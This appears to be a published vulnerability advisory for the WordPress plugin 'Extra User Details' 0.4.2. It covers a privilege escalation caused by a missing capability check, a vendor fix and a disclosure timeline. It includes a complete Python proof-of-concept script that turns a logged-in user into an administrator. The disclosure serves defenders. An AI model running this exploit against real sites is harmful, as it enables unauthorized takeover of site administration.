""" * Exploit Title: Extra User Details [Privilege Escalation] * Discovery Date: 2016-02-13 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: http://vadimk.com/ * Software Link: https://wordpress.org/plugins/extra-user-details/ * Version: 0.4.2 * Tested on: WordPress 4.4.2 * Category: WebApps, WordPress Description ----------- _Extra User Details_ plugin for WordPress suffers from a Privilege Escalation vulnerability. The plugin hooks the `eud_update_ExtraFields` function to `profile_update` WordPress action. This function doesn't properly check user capabilities and updates all meta information passed to post data. The only condition is that the post variable name has the `eud` prefix which is striped before updating the values in DB. An attacker can exploit this misbehavior to update the {prefix}\_capabilities meta information to gain administrative privileges. PoC --- In the following PoC we assume that the database has the `wp` prefix, a very common scenario as this is the default WordPress value """ # !/usr/bin/python3 ################################################################################ # Extra User Details Privilege Escalation Exploit # # Author: Panagiotis Vagenas # # Dependencies: BeautifulSoup (http://www.crummy.com/software/BeautifulSoup/) ################################################################################ import requests from bs4 import BeautifulSoup baseUrl = 'http://example.com' loginUrl = baseUrl + '/wp-login.php' profileUrl = baseUrl + '/wp-admin/profile.php' loginPostData = { 'log': 'username', 'pwd': 'password', 'rememberme': 'forever', 'wp-submit': 'Log+In' } s = requests.Session() r = s.post(loginUrl, loginPostData) if r.status_code != 200: print('Login error') exit(1) r = s.get(profileUrl) soup = BeautifulSoup(r.text, 'html.parser') f = soup.find('form', {'id': 'your-profile'}) if not f: print('Error') exit(1) data = { 'eudwp_capabilities[administrator]': 1, } for i in f.find_all('input'): if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']: data[i.attrs['name']] = i.attrs['value'] r = s.post(profileUrl, data) if r.status_code == 200: print('Success') exit(0) """ Solution -------- Upgrade to v0.4.2.1 Timeline -------- 1. **2016-02-13**: Vendor notified through wordpress.org support forums 2. **2016-02-13**: Vendor notified through through the contact form in his website 3. **2016-02-13**: Vendor responded and received details about this issue 4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue """